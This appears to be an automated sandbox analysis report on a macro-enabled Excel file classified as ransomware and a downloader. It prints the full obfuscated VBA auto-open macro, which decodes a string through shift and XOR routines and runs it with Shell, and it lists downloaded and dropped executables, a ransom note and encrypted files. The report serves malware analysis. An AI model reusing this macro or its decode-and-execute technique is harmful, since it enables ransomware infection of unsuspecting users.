VTI SCORE: 100/100
Dynamic Analysis Report |
Classification: |
Ransomware
Dropper
Downloader
|
Threat Names: |
Mal/Generic-S
|
FAK321.xlsm
Excel Document
Created at 2020-02-26T17:40:00
This is a filtered view
This list contains only the embedded files, downloaded files, and dropped files
Filters: |
There are no files for this filter
There are no files in this analysis
Filename | Category | Type | Severity | Actions |
---|
C:\Users\aETAdzjz\Desktop\FAK321.xlsm | Sample File | Office File |
Malicious
|
...
|
»
Office Information
»
Creator | Perform Barcelona |
Last Modified By | Perform Barcelona |
Create Time | 2020-02-20 15:47:25+00:00 |
Modify Time | 2020-02-20 15:48:16+00:00 |
Document Information
»
Application | Microsoft Excel |
App Version | 16.0300 |
Document Security | NONE |
Titles Of Parts | Sheet1 |
ScaleCrop |
![]() |
SharedDoc |
![]() |
VBA Macros (1)
»
Macro #1: ThisWorkbook
»
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
Dim bXuMQnkaAwSkTSFHshNdUbChAqnrzTPKrgTAhqIawVJYXLqcevSIJPL As String
Dim zVhgaAtbCgdOmzZuWuHCUnyKpULhDAcAxqpfUfDaCtbrPRYxZWROXhM As String
Dim cFYJjwuVVMvxxDsyiaDzRuJqetwyKexjLdvwqcyVNmBbypmQzLBctrj As String
Dim DQCApUvfMkMGTcRdGcimfshNobfUUcVppPsfIwIVmcJMlDTJCCPULEY As String
Dim KDKLiobfjPrRYklpJTMUYEqbFIrmRhVekqhwTGvBLRZwPmQZQNGBUFA As String
Dim bNiGaxJOCPNhiCKrYtgJceuhTMSVEwTfApajkzUDWCXhBFirbqhdnQt As String
bNiGaxJOCPNhiCKrYtgJceuhTMSVEwTfApajkzUDWCXhBFirbqhdnQt = i("KKLALJSFDSAFASFQWFWQ", (l(l("AP@AAD@GAF@>@S@?AT@RDF@B@P@AE?EO@A@TAB@FASAF@F@A@B@A@G@FAO@@ATD?A?AT@?ADAC@BE?DD?QDQ>G@C@SAE@A@OEADQ@C@SAS@PA>AG@@EEEG@C@SAPDQ@A@FAG@A@E@ED??CAF@>A@ABAODF?GABATDC?P@B@S>GAT@T@?ARACDTDT?E@G@DAG@OAFA>@T>R@C@R@GD@EB@SA>@EA?EQDSEQACAB@?@TABABDC@SAGEBD@@C@?@?DPA>@R@T@BARA@ETA@ASA@EDDEDT@G@TAOE>>E@A@G@ADOD??RAR@A@DA?@TAPABDC>SAB@BDPDADFDS>OADADDP>SA?@QABABA@EEEQ@F@B@?D??T@@AD@O@FER>>ADA?AT@TA@ADA@ASAS@CD@D@?@@B@TAT@O>?@P@B@CAB@E@AEGEA@AAG@EE??T@G@QAQD?EB?O@OADAD@>@FAT@AET?@ASA@EDD@"))))
Shell (bNiGaxJOCPNhiCKrYtgJceuhTMSVEwTfApajkzUDWCXhBFirbqhdnQt)
End Sub
Public Function i(fine As String, job As String) As String
Dim lonDataPtr As Long
Dim vbc As String
Dim intXOrValue1 As Integer
Dim intXOrValue2 As Integer
For lonDataPtr = 1 To (Len(job) / 2)
intXOrValue1 = Val("&H" & (Mid$(job, (2 * lonDataPtr) - 1, 2)))
intXOrValue2 = Asc(Mid$(fine, ((lonDataPtr Mod Len(fine)) + 1), 1))
vbc = vbc + Chr(intXOrValue1 Xor intXOrValue2)
Next lonDataPtr
i = vbc
End Function
Public Function l(ll As String)
Dim lll As Integer, llll As Integer
lll = 7
For llll = 1 To Len(ll)
Mid(ll, llll, 1) = Chr(Asc(Mid(ll, llll, 1)) - lll)
Next llll
l = ll
End Function
YARA Matches (2)
»
Rule Name | Rule Description | Classification | Score | Actions |
---|---|---|---|---|
VBA_Execution_Commands | VBA macro may execute files or system commands | - |
3/5
|
...
|
VBA_Obfuscation_Long_VarName | VBA contains excessively long variable names; possible obfuscation | - |
2/5
|
...
|
C:\Users\aETAdzjz\AppData\Local\Temp\newfile.Exe | Downloaded File | Binary |
Blacklisted
|
...
|
»
File Reputation Information
»
Severity |
Blacklisted
|
Names | Mal/Generic-S |
C:\Users\aETAdzjz\AppData\Local\Temp\tav1geqs.exe | Dropped File | Binary |
Unknown
|
...
|
»
PE Information
»
Image Base | 0x140000000 |
Size Of Code | 0x6e00 |
Size Of Initialized Data | 0x600 |
File Type | FileType.executable |
Subsystem | Subsystem.windows_cui |
Machine Type | MachineType.amd64 |
Compile Timestamp | 2067-02-07 11:41:53+00:00 |
Version Information (11)
»
Assembly Version | 1.0.0.0 |
Comments | - |
CompanyName | - |
FileDescription | SharpExec |
FileVersion | 1.0.0.0 |
InternalName | SharpExec.exe |
LegalCopyright | Copyright © 2019 |
LegalTrademarks | - |
OriginalFilename | SharpExec.exe |
ProductName | SharpExec |
ProductVersion | 1.0.0.0 |
Sections (2)
»
Name | Virtual Address | Virtual Size | Raw Data Size | Raw Data Offset | Flags | Entropy |
---|---|---|---|---|---|---|
.text | 0x140002000 | 0x6d52 | 0x6e00 | 0x200 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ | 5.29 |
.rsrc | 0x14000a000 | 0x5ac | 0x600 | 0x7000 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 4.08 |
C:\Users\aETAdzjz\Music\1fTEy\if5to0jxN\HELP_ME_RECOVER_MY_FILES.txt | Dropped File | Text |
Unknown
|
...
|
»
c:\users\aetadzjz\appdata\local\temp\wallpaper.bmp | Dropped File | Image |
Unknown
|
...
|
»
C:\Users\aETAdzjz\AppData\Local\Microsoft\OneDrive\17.3.6998.0830\ThirdPartyNotices.txt.crypted | Dropped File | Stream |
Unknown
|
...
|
»
c:\users\aetadzjz\appdata\local\microsoft\onedrive\17.3.6998.0830\images\checkmark_in_progress.svg.crypted | Dropped File | Stream |
Unknown
|
...
|
»
732652f7eb4d18a5e406b441ae176600b14f13d70b373efbaa2815d29ef5351e | Downloaded File | Image |
Unknown
|
...
|
»
vbaProject.bin | Embedded File | OLE Compound |
Unknown
|
...
|
»